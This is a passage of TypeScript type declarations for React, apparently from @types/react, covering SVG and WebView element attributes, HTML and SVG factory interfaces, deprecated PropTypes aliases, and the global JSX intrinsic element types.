{ default?: boolean | undefined; kind?: string | undefined; label?: string | undefined; src?: string | undefined; srcLang?: string | undefined; } interface VideoHTMLAttributes<T> extends MediaHTMLAttributes<T> { height?: number | string | undefined; playsInline?: boolean | undefined; poster?: string | undefined; width?: number | string | undefined; disablePictureInPicture?: boolean | undefined; disableRemotePlayback?: boolean | undefined; } // this list is "complete" in that it contains every SVG attribute // that React supports, but the types can be improved. // Full list here: https://facebook.github.io/react/docs/dom-elements.html // // The three broad type categories are (in order of restrictiveness): // - "number | string" // - "string" // - union of string literals interface SVGAttributes<T> extends AriaAttributes, DOMAttributes<T> { // React-specific Attributes suppressHydrationWarning?: boolean | undefined; // Attributes which also defined in HTMLAttributes // See comment in SVGDOMPropertyConfig.js className?: string | undefined; color?: string | undefined; height?: number | string | undefined; id?: string | undefined; lang?: string | undefined; max?: number | string | undefined; media?: string | undefined; method?: string | undefined; min?: number | string | undefined; name?: string | undefined; style?: CSSProperties | undefined; target?: string | undefined; type?: string | undefined; width?: number | string | undefined; // Other HTML properties supported by SVG elements in browsers role?: AriaRole | undefined; tabIndex?: number | undefined; crossOrigin?: CrossOrigin; // SVG Specific attributes accentHeight?: number | string | undefined; accumulate?: "none" | "sum" | undefined; additive?: "replace" | "sum" | undefined; alignmentBaseline?: | "auto" | "baseline" | "before-edge" | "text-before-edge" | "middle" | "central" | "after-edge" | "text-after-edge" | "ideographic" | "alphabetic" | "hanging" | "mathematical" | "inherit" | undefined; allowReorder?: "no" | "yes" | undefined; alphabetic?: number | string | undefined; amplitude?: number | string | undefined; arabicForm?: "initial" | "medial" | "terminal" | "isolated" | undefined; ascent?: number | string | undefined; attributeName?: string | undefined; attributeType?: string | undefined; autoReverse?: Booleanish | undefined; azimuth?: number | string | undefined; baseFrequency?: number | string | undefined; baselineShift?: number | string | undefined; baseProfile?: number | string | undefined; bbox?: number | string | undefined; begin?: number | string | undefined; bias?: number | string | undefined; by?: number | string | undefined; calcMode?: number | string | undefined; capHeight?: number | string | undefined; clip?: number | string | undefined; clipPath?: string | undefined; clipPathUnits?: number | string | undefined; clipRule?: number | string | undefined; colorInterpolation?: number | string | undefined; colorInterpolationFilters?: "auto" | "sRGB" | "linearRGB" | "inherit" | undefined; colorProfile?: number | string | undefined; colorRendering?: number | string | undefined; contentScriptType?: number | string | undefined; contentStyleType?: number | string | undefined; cursor?: number | string | undefined; cx?: number | string | undefined; cy?: number | string | undefined; d?: string | undefined; decelerate?: number | string | undefined; descent?: number | string | undefined; diffuseConstant?: number | string | undefined; direction?: number | string | undefined; display?: number | string | undefined; divisor?: number | string | undefined; dominantBaseline?: number | string | undefined; dur?: number | string | undefined; dx?: number | string | undefined; dy?: number | string | undefined; edgeMode?: number | string | undefined; elevation?: number | string | undefined; enableBackground?: number | string | undefined; end?: number | string | undefined; exponent?: number | string | undefined; externalResourcesRequired?: Booleanish | undefined; fill?: string | undefined; fillOpacity?: number | string | undefined; fillRule?: "nonzero" | "evenodd" | "inherit" | undefined; filter?: string | undefined; filterRes?: number | string | undefined; filterUnits?: number | string | undefined; floodColor?: number | string | undefined; floodOpacity?: number | string | undefined; focusable?: Booleanish | "auto" | undefined; fontFamily?: string | undefined; fontSize?: number | string | undefined; fontSizeAdjust?: number | string | undefined; fontStretch?: number | string | undefined; fontStyle?: number | string | undefined; fontVariant?: number | string | undefined; fontWeight?: number | string | undefined; format?: number | string | undefined; fr?: number | string | undefined; from?: number | string | undefined; fx?: number | string | undefined; fy?: number | string | undefined; g1?: number | string | undefined; g2?: number | string | undefined; glyphName?: number | string | undefined; glyphOrientationHorizontal?: number | string | undefined; glyphOrientationVertical?: number | string | undefined; glyphRef?: number | string | undefined; gradientTransform?: string | undefined; gradientUnits?: string | undefined; hanging?: number | string | undefined; horizAdvX?: number | string | undefined; horizOriginX?: number | string | undefined; href?: string | undefined; ideographic?: number | string | undefined; imageRendering?: number | string | undefined; in2?: number | string | undefined; in?: string | undefined; intercept?: number | string | undefined; k1?: number | string | undefined; k2?: number | string | undefined; k3?: number | string | undefined; k4?: number | string | undefined; k?: number | string | undefined; kernelMatrix?: number | string | undefined; kernelUnitLength?: number | string | undefined; kerning?: number | string | undefined; keyPoints?: number | string | undefined; keySplines?: number | string | undefined; keyTimes?: number | string | undefined; lengthAdjust?: number | string | undefined; letterSpacing?: number | string | undefined; lightingColor?: number | string | undefined; limitingConeAngle?: number | string | undefined; local?: number | string | undefined; markerEnd?: string | undefined; markerHeight?: number | string | undefined; markerMid?: string | undefined; markerStart?: string | undefined; markerUnits?: number | string | undefined; markerWidth?: number | string | undefined; mask?: string | undefined; maskContentUnits?: number | string | undefined; maskUnits?: number | string | undefined; mathematical?: number | string | undefined; mode?: number | string | undefined; numOctaves?: number | string | undefined; offset?: number | string | undefined; opacity?: number | string | undefined; operator?: number | string | undefined; order?: number | string | undefined; orient?: number | string | undefined; orientation?: number | string | undefined; origin?: number | string | undefined; overflow?: number | string | undefined; overlinePosition?: number | string | undefined; overlineThickness?: number | string | undefined; paintOrder?: number | string | undefined; panose1?: number | string | undefined; path?: string | undefined; pathLength?: number | string | undefined; patternContentUnits?: string | undefined; patternTransform?: number | string | undefined; patternUnits?: string | undefined; pointerEvents?: number | string | undefined; points?: string | undefined; pointsAtX?: number | string | undefined; pointsAtY?: number | string | undefined; pointsAtZ?: number | string | undefined; preserveAlpha?: Booleanish | undefined; preserveAspectRatio?: string | undefined; primitiveUnits?: number | string | undefined; r?: number | string | undefined; radius?: number | string | undefined; refX?: number | string | undefined; refY?: number | string | undefined; renderingIntent?: number | string | undefined; repeatCount?: number | string | undefined; repeatDur?: number | string | undefined; requiredExtensions?: number | string | undefined; requiredFeatures?: number | string | undefined; restart?: number | string | undefined; result?: string | undefined; rotate?: number | string | undefined; rx?: number | string | undefined; ry?: number | string | undefined; scale?: number | string | undefined; seed?: number | string | undefined; shapeRendering?: number | string | undefined; slope?: number | string | undefined; spacing?: number | string | undefined; specularConstant?: number | string | undefined; specularExponent?: number | string | undefined; speed?: number | string | undefined; spreadMethod?: string | undefined; startOffset?: number | string | undefined; stdDeviation?: number | string | undefined; stemh?: number | string | undefined; stemv?: number | string | undefined; stitchTiles?: number | string | undefined; stopColor?: string | undefined; stopOpacity?: number | string | undefined; strikethroughPosition?: number | string | undefined; strikethroughThickness?: number | string | undefined; string?: number | string | undefined; stroke?: string | undefined; strokeDasharray?: string | number | undefined; strokeDashoffset?: string | number | undefined; strokeLinecap?: "butt" | "round" | "square" | "inherit" | undefined; strokeLinejoin?: "miter" | "round" | "bevel" | "inherit" | undefined; strokeMiterlimit?: number | string | undefined; strokeOpacity?: number | string | undefined; strokeWidth?: number | string | undefined; surfaceScale?: number | string | undefined; systemLanguage?: number | string | undefined; tableValues?: number | string | undefined; targetX?: number | string | undefined; targetY?: number | string | undefined; textAnchor?: string | undefined; textDecoration?: number | string | undefined; textLength?: number | string | undefined; textRendering?: number | string | undefined; to?: number | string | undefined; transform?: string | undefined; u1?: number | string | undefined; u2?: number | string | undefined; underlinePosition?: number | string | undefined; underlineThickness?: number | string | undefined; unicode?: number | string | undefined; unicodeBidi?: number | string | undefined; unicodeRange?: number | string | undefined; unitsPerEm?: number | string | undefined; vAlphabetic?: number | string | undefined; values?: string | undefined; vectorEffect?: number | string | undefined; version?: string | undefined; vertAdvY?: number | string | undefined; vertOriginX?: number | string | undefined; vertOriginY?: number | string | undefined; vHanging?: number | string | undefined; vIdeographic?: number | string | undefined; viewBox?: string | undefined; viewTarget?: number | string | undefined; visibility?: number | string | undefined; vMathematical?: number | string | undefined; widths?: number | string | undefined; wordSpacing?: number | string | undefined; writingMode?: number | string | undefined; x1?: number | string | undefined; x2?: number | string | undefined; x?: number | string | undefined; xChannelSelector?: string | undefined; xHeight?: number | string | undefined; xlinkActuate?: string | undefined; xlinkArcrole?: string | undefined; xlinkHref?: string | undefined; xlinkRole?: string | undefined; xlinkShow?: string | undefined; xlinkTitle?: string | undefined; xlinkType?: string | undefined; xmlBase?: string | undefined; xmlLang?: string | undefined; xmlns?: string | undefined; xmlnsXlink?: string | undefined; xmlSpace?: string | undefined; y1?: number | string | undefined; y2?: number | string | undefined; y?: number | string | undefined; yChannelSelector?: string | undefined; z?: number | string | undefined; zoomAndPan?: string | undefined; } interface WebViewHTMLAttributes<T> extends HTMLAttributes<T> { allowFullScreen?: boolean | undefined; allowpopups?: boolean | undefined; autosize?: boolean | undefined; blinkfeatures?: string | undefined; disableblinkfeatures?: string | undefined; disableguestresize?: boolean | undefined; disablewebsecurity?: boolean | undefined; guestinstance?: string | undefined; httpreferrer?: string | undefined; nodeintegration?: boolean | undefined; partition?: string | undefined; plugins?: boolean | undefined; preload?: string | undefined; src?: string | undefined; useragent?: string | undefined; webpreferences?: string | undefined; } // // React.DOM // ---------------------------------------------------------------------- interface ReactHTML { a: DetailedHTMLFactory<AnchorHTMLAttributes<HTMLAnchorElement>, HTMLAnchorElement>; abbr: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; address: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; area: DetailedHTMLFactory<AreaHTMLAttributes<HTMLAreaElement>, HTMLAreaElement>; article: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; aside: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; audio: DetailedHTMLFactory<AudioHTMLAttributes<HTMLAudioElement>, HTMLAudioElement>; b: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; base: DetailedHTMLFactory<BaseHTMLAttributes<HTMLBaseElement>, HTMLBaseElement>; bdi: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; bdo: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; big: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; blockquote: DetailedHTMLFactory<BlockquoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; body: DetailedHTMLFactory<HTMLAttributes<HTMLBodyElement>, HTMLBodyElement>; br: DetailedHTMLFactory<HTMLAttributes<HTMLBRElement>, HTMLBRElement>; button: DetailedHTMLFactory<ButtonHTMLAttributes<HTMLButtonElement>, HTMLButtonElement>; canvas: DetailedHTMLFactory<CanvasHTMLAttributes<HTMLCanvasElement>, HTMLCanvasElement>; caption: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; center: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; cite: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; code: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; col: DetailedHTMLFactory<ColHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; colgroup: DetailedHTMLFactory<ColgroupHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; data: DetailedHTMLFactory<DataHTMLAttributes<HTMLDataElement>, HTMLDataElement>; datalist: DetailedHTMLFactory<HTMLAttributes<HTMLDataListElement>, HTMLDataListElement>; dd: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; del: DetailedHTMLFactory<DelHTMLAttributes<HTMLModElement>, HTMLModElement>; details: DetailedHTMLFactory<DetailsHTMLAttributes<HTMLDetailsElement>, HTMLDetailsElement>; dfn: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; dialog: DetailedHTMLFactory<DialogHTMLAttributes<HTMLDialogElement>, HTMLDialogElement>; div: DetailedHTMLFactory<HTMLAttributes<HTMLDivElement>, HTMLDivElement>; dl: DetailedHTMLFactory<HTMLAttributes<HTMLDListElement>, HTMLDListElement>; dt: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; em: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; embed: DetailedHTMLFactory<EmbedHTMLAttributes<HTMLEmbedElement>, HTMLEmbedElement>; fieldset: DetailedHTMLFactory<FieldsetHTMLAttributes<HTMLFieldSetElement>, HTMLFieldSetElement>; figcaption: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; figure: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; footer: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; form: DetailedHTMLFactory<FormHTMLAttributes<HTMLFormElement>, HTMLFormElement>; h1: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h2: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h3: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h4: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h5: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; h6: DetailedHTMLFactory<HTMLAttributes<HTMLHeadingElement>, HTMLHeadingElement>; head: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLHeadElement>; header: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; hgroup: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; hr: DetailedHTMLFactory<HTMLAttributes<HTMLHRElement>, HTMLHRElement>; html: DetailedHTMLFactory<HtmlHTMLAttributes<HTMLHtmlElement>, HTMLHtmlElement>; i: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; iframe: DetailedHTMLFactory<IframeHTMLAttributes<HTMLIFrameElement>, HTMLIFrameElement>; img: DetailedHTMLFactory<ImgHTMLAttributes<HTMLImageElement>, HTMLImageElement>; input: DetailedHTMLFactory<InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; ins: DetailedHTMLFactory<InsHTMLAttributes<HTMLModElement>, HTMLModElement>; kbd: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; keygen: DetailedHTMLFactory<KeygenHTMLAttributes<HTMLElement>, HTMLElement>; label: DetailedHTMLFactory<LabelHTMLAttributes<HTMLLabelElement>, HTMLLabelElement>; legend: DetailedHTMLFactory<HTMLAttributes<HTMLLegendElement>, HTMLLegendElement>; li: DetailedHTMLFactory<LiHTMLAttributes<HTMLLIElement>, HTMLLIElement>; link: DetailedHTMLFactory<LinkHTMLAttributes<HTMLLinkElement>, HTMLLinkElement>; main: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; map: DetailedHTMLFactory<MapHTMLAttributes<HTMLMapElement>, HTMLMapElement>; mark: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; menu: DetailedHTMLFactory<MenuHTMLAttributes<HTMLElement>, HTMLElement>; menuitem: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; meta: DetailedHTMLFactory<MetaHTMLAttributes<HTMLMetaElement>, HTMLMetaElement>; meter: DetailedHTMLFactory<MeterHTMLAttributes<HTMLMeterElement>, HTMLMeterElement>; nav: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; noscript: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; object: DetailedHTMLFactory<ObjectHTMLAttributes<HTMLObjectElement>, HTMLObjectElement>; ol: DetailedHTMLFactory<OlHTMLAttributes<HTMLOListElement>, HTMLOListElement>; optgroup: DetailedHTMLFactory<OptgroupHTMLAttributes<HTMLOptGroupElement>, HTMLOptGroupElement>; option: DetailedHTMLFactory<OptionHTMLAttributes<HTMLOptionElement>, HTMLOptionElement>; output: DetailedHTMLFactory<OutputHTMLAttributes<HTMLOutputElement>, HTMLOutputElement>; p: DetailedHTMLFactory<HTMLAttributes<HTMLParagraphElement>, HTMLParagraphElement>; param: DetailedHTMLFactory<ParamHTMLAttributes<HTMLParamElement>, HTMLParamElement>; picture: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; pre: DetailedHTMLFactory<HTMLAttributes<HTMLPreElement>, HTMLPreElement>; progress: DetailedHTMLFactory<ProgressHTMLAttributes<HTMLProgressElement>, HTMLProgressElement>; q: DetailedHTMLFactory<QuoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; rp: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; rt: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; ruby: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; s: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; samp: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; search: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; slot: DetailedHTMLFactory<SlotHTMLAttributes<HTMLSlotElement>, HTMLSlotElement>; script: DetailedHTMLFactory<ScriptHTMLAttributes<HTMLScriptElement>, HTMLScriptElement>; section: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; select: DetailedHTMLFactory<SelectHTMLAttributes<HTMLSelectElement>, HTMLSelectElement>; small: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; source: DetailedHTMLFactory<SourceHTMLAttributes<HTMLSourceElement>, HTMLSourceElement>; span: DetailedHTMLFactory<HTMLAttributes<HTMLSpanElement>, HTMLSpanElement>; strong: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; style: DetailedHTMLFactory<StyleHTMLAttributes<HTMLStyleElement>, HTMLStyleElement>; sub: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; summary: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; sup: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; table: DetailedHTMLFactory<TableHTMLAttributes<HTMLTableElement>, HTMLTableElement>; template: DetailedHTMLFactory<HTMLAttributes<HTMLTemplateElement>, HTMLTemplateElement>; tbody: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; td: DetailedHTMLFactory<TdHTMLAttributes<HTMLTableDataCellElement>, HTMLTableDataCellElement>; textarea: DetailedHTMLFactory<TextareaHTMLAttributes<HTMLTextAreaElement>, HTMLTextAreaElement>; tfoot: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; th: DetailedHTMLFactory<ThHTMLAttributes<HTMLTableHeaderCellElement>, HTMLTableHeaderCellElement>; thead: DetailedHTMLFactory<HTMLAttributes<HTMLTableSectionElement>, HTMLTableSectionElement>; time: DetailedHTMLFactory<TimeHTMLAttributes<HTMLTimeElement>, HTMLTimeElement>; title: DetailedHTMLFactory<HTMLAttributes<HTMLTitleElement>, HTMLTitleElement>; tr: DetailedHTMLFactory<HTMLAttributes<HTMLTableRowElement>, HTMLTableRowElement>; track: DetailedHTMLFactory<TrackHTMLAttributes<HTMLTrackElement>, HTMLTrackElement>; u: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; ul: DetailedHTMLFactory<HTMLAttributes<HTMLUListElement>, HTMLUListElement>; "var": DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; video: DetailedHTMLFactory<VideoHTMLAttributes<HTMLVideoElement>, HTMLVideoElement>; wbr: DetailedHTMLFactory<HTMLAttributes<HTMLElement>, HTMLElement>; webview: DetailedHTMLFactory<WebViewHTMLAttributes<HTMLWebViewElement>, HTMLWebViewElement>; } interface ReactSVG { animate: SVGFactory; circle: SVGFactory; clipPath: SVGFactory; defs: SVGFactory; desc: SVGFactory; ellipse: SVGFactory; feBlend: SVGFactory; feColorMatrix: SVGFactory; feComponentTransfer: SVGFactory; feComposite: SVGFactory; feConvolveMatrix: SVGFactory; feDiffuseLighting: SVGFactory; feDisplacementMap: SVGFactory; feDistantLight: SVGFactory; feDropShadow: SVGFactory; feFlood: SVGFactory; feFuncA: SVGFactory; feFuncB: SVGFactory; feFuncG: SVGFactory; feFuncR: SVGFactory; feGaussianBlur: SVGFactory; feImage: SVGFactory; feMerge: SVGFactory; feMergeNode: SVGFactory; feMorphology: SVGFactory; feOffset: SVGFactory; fePointLight: SVGFactory; feSpecularLighting: SVGFactory; feSpotLight: SVGFactory; feTile: SVGFactory; feTurbulence: SVGFactory; filter: SVGFactory; foreignObject: SVGFactory; g: SVGFactory; image: SVGFactory; line: SVGFactory; linearGradient: SVGFactory; marker: SVGFactory; mask: SVGFactory; metadata: SVGFactory; path: SVGFactory; pattern: SVGFactory; polygon: SVGFactory; polyline: SVGFactory; radialGradient: SVGFactory; rect: SVGFactory; stop: SVGFactory; svg: SVGFactory; switch: SVGFactory; symbol: SVGFactory; text: SVGFactory; textPath: SVGFactory; tspan: SVGFactory; use: SVGFactory; view: SVGFactory; } interface ReactDOM extends ReactHTML, ReactSVG {} // // React.PropTypes // ---------------------------------------------------------------------- /** * @deprecated Use `Validator` from the ´prop-types` instead. */ type Validator<T> = PropTypes.Validator<T>; /** * @deprecated Use `Requireable` from the ´prop-types` instead. */ type Requireable<T> = PropTypes.Requireable<T>; /** * @deprecated Use `ValidationMap` from the ´prop-types` instead. */ type ValidationMap<T> = PropTypes.ValidationMap<T>; /** * @deprecated Use `WeakValidationMap` from the ´prop-types` instead. */ type WeakValidationMap<T> = { [K in keyof T]?: null extends T[K] ? Validator<T[K] | null | undefined> : undefined extends T[K] ? Validator<T[K] | null | undefined> : Validator<T[K]>; }; /** * @deprecated Use `PropTypes.*` where `PropTypes` comes from `import * as PropTypes from 'prop-types'` instead. */ interface ReactPropTypes { any: typeof PropTypes.any; array: typeof PropTypes.array; bool: typeof PropTypes.bool; func: typeof PropTypes.func; number: typeof PropTypes.number; object: typeof PropTypes.object; string: typeof PropTypes.string; node: typeof PropTypes.node; element: typeof PropTypes.element; instanceOf: typeof PropTypes.instanceOf; oneOf: typeof PropTypes.oneOf; oneOfType: typeof PropTypes.oneOfType; arrayOf: typeof PropTypes.arrayOf; objectOf: typeof PropTypes.objectOf; shape: typeof PropTypes.shape; exact: typeof PropTypes.exact; } // // React.Children // ---------------------------------------------------------------------- /** * @deprecated - Use `typeof React.Children` instead. */ // Sync with type of `const Children`. interface ReactChildren { map<T, C>( children: C | readonly C[], fn: (child: C, index: number) => T, ): C extends null | undefined ? C : Array<Exclude<T, boolean | null | undefined>>; forEach<C>(children: C | readonly C[], fn: (child: C, index: number) => void): void; count(children: any): number; only<C>(children: C): C extends any[] ? never : C; toArray(children: ReactNode | ReactNode[]): Array<Exclude<ReactNode, boolean | null | undefined>>; } // // Browser Interfaces // https://github.com/nikeee/2048-typescript/blob/master/2048/js/touch.d.ts // ---------------------------------------------------------------------- interface AbstractView { styleMedia: StyleMedia; document: Document; } interface Touch { identifier: number; target: EventTarget; screenX: number; screenY: number; clientX: number; clientY: number; pageX: number; pageY: number; } interface TouchList { [index: number]: Touch; length: number; item(index: number): Touch; identifiedTouch(identifier: number): Touch; } // // Error Interfaces // ---------------------------------------------------------------------- interface ErrorInfo { /** * Captures which component contained the exception, and its ancestors. */ componentStack?: string | null; digest?: string | null; } // Keep in sync with JSX namespace in ./jsx-runtime.d.ts and ./jsx-dev-runtime.d.ts namespace JSX { type ElementType = GlobalJSXElementType; interface Element extends GlobalJSXElement {} interface ElementClass extends GlobalJSXElementClass {} interface ElementAttributesProperty extends GlobalJSXElementAttributesProperty {} interface ElementChildrenAttribute extends GlobalJSXElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = GlobalJSXLibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends GlobalJSXIntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends GlobalJSXIntrinsicClassAttributes<T> {} interface IntrinsicElements extends GlobalJSXIntrinsicElements {} } } // naked 'any' type in a conditional type will short circuit and union both the then/else branches // so boolean is only resolved for T = any type IsExactlyAny<T> = boolean extends (T extends never ? true : false) ? true : false; type ExactlyAnyPropertyKeys<T> = { [K in keyof T]: IsExactlyAny<T[K]> extends true ? K : never }[keyof T]; type NotExactlyAnyPropertyKeys<T> = Exclude<keyof T, ExactlyAnyPropertyKeys<T>>; // Try to resolve ill-defined props like for JS users: props can be any, or sometimes objects with properties of type any type MergePropTypes<P, T> = // Distribute over P in case it is a union type P extends any // If props is type any, use propTypes definitions ? IsExactlyAny<P> extends true ? T // If declared props have indexed properties, ignore inferred props entirely as keyof gets widened : string extends keyof P ? P // Prefer declared types which are not exactly any : & Pick<P, NotExactlyAnyPropertyKeys<P>> // For props which are exactly any, use the type inferred from propTypes if present & Pick<T, Exclude<keyof T, NotExactlyAnyPropertyKeys<P>>> // Keep leftover props not specified in propTypes & Pick<P, Exclude<keyof P, keyof T>> : never; type InexactPartial<T> = { [K in keyof T]?: T[K] | undefined }; // Any prop that has a default prop becomes optional, but its type is unchanged // Undeclared default props are augmented into the resulting allowable attributes // If declared props have indexed properties, ignore default props entirely as keyof gets widened // Wrap in an outer-level conditional type to allow distribution over props that are unions type Defaultize<P, D> = P extends any ? string extends keyof P ? P : & Pick<P, Exclude<keyof P, keyof D>> & InexactPartial<Pick<P, Extract<keyof P, keyof D>>> & InexactPartial<Pick<D, Exclude<keyof D, keyof P>>> : never; type ReactManagedAttributes<C, P> = C extends { propTypes: infer T; defaultProps: infer D } ? Defaultize<MergePropTypes<P, PropTypes.InferProps<T>>, D> : C extends { propTypes: infer T } ? MergePropTypes<P, PropTypes.InferProps<T>> : C extends { defaultProps: infer D } ? Defaultize<P, D> : P; declare global { /** * @deprecated Use `React.JSX` instead of the global `JSX` namespace. */ namespace JSX { // We don't just alias React.ElementType because React.ElementType // historically does more than we need it to. // E.g. it also contains .propTypes and so TS also verifies the declared // props type does match the declared .propTypes. // But if libraries declared their .propTypes but not props type, // or they mismatch, you won't be able to use the class component // as a JSX.ElementType. // We could fix this everywhere but we're ultimately not interested in // .propTypes assignability so we might as well drop it entirely here to // reduce the work of the type-checker. // TODO: Check impact of making React.ElementType<P = any> = React.JSXElementConstructor<P> type ElementType = string | React.JSXElementConstructor<any>; interface Element extends React.ReactElement<any, any> {} interface ElementClass extends React.Component<any> { render(): React.ReactNode; } interface ElementAttributesProperty { props: {}; } interface ElementChildrenAttribute { children: {}; } // We can't recurse forever because `type` can't be self-referential; // let's assume it's reasonable to do a single React.lazy() around a single React.memo() / vice-versa type LibraryManagedAttributes<C, P> = C extends React.MemoExoticComponent<infer T> | React.LazyExoticComponent<infer T> ? T extends React.MemoExoticComponent<infer U> | React.LazyExoticComponent<infer U> ? ReactManagedAttributes<U, P> : ReactManagedAttributes<T, P> : ReactManagedAttributes<C, P>; interface IntrinsicAttributes extends React.Attributes {} interface IntrinsicClassAttributes<T> extends React.ClassAttributes<T> {} interface IntrinsicElements { // HTML a: React.DetailedHTMLProps<React.AnchorHTMLAttributes<HTMLAnchorElement>, HTMLAnchorElement>; abbr: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; address: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; area: React.DetailedHTMLProps<React.AreaHTMLAttributes<HTMLAreaElement>, HTMLAreaElement>; article: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; aside: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; audio: React.DetailedHTMLProps<React.AudioHTMLAttributes<HTMLAudioElement>, HTMLAudioElement>; b: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; base: React.DetailedHTMLProps<React.BaseHTMLAttributes<HTMLBaseElement>, HTMLBaseElement>; bdi: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; bdo: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; big: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; blockquote: React.DetailedHTMLProps<React.BlockquoteHTMLAttributes<HTMLQuoteElement>, HTMLQuoteElement>; body: React.DetailedHTMLProps<React.HTMLAttributes<HTMLBodyElement>, HTMLBodyElement>; br: React.DetailedHTMLProps<React.HTMLAttributes<HTMLBRElement>, HTMLBRElement>; button: React.DetailedHTMLProps<React.ButtonHTMLAttributes<HTMLButtonElement>, HTMLButtonElement>; canvas: React.DetailedHTMLProps<React.CanvasHTMLAttributes<HTMLCanvasElement>, HTMLCanvasElement>; caption: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; center: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; cite: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; code: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; col: React.DetailedHTMLProps<React.ColHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; colgroup: React.DetailedHTMLProps<React.ColgroupHTMLAttributes<HTMLTableColElement>, HTMLTableColElement>; data: React.DetailedHTMLProps<React.DataHTMLAttributes<HTMLDataElement>, HTMLDataElement>; datalist: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDataListElement>, HTMLDataListElement>; dd: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; del: React.DetailedHTMLProps<React.DelHTMLAttributes<HTMLModElement>, HTMLModElement>; details: React.DetailedHTMLProps<React.DetailsHTMLAttributes<HTMLDetailsElement>, HTMLDetailsElement>; dfn: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, HTMLElement>; dialog: React.DetailedHTMLProps<React.DialogHTMLAttributes<HTMLDialogElement>, HTMLDialogElement>; div: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDivElement>, HTMLDivElement>; dl: React.DetailedHTMLProps<React.HTMLAttributes<HTMLDListElement>, HTMLDListElement>; dt: React.DetailedHTMLProps<React.HTMLAttributes<HTMLElement>, 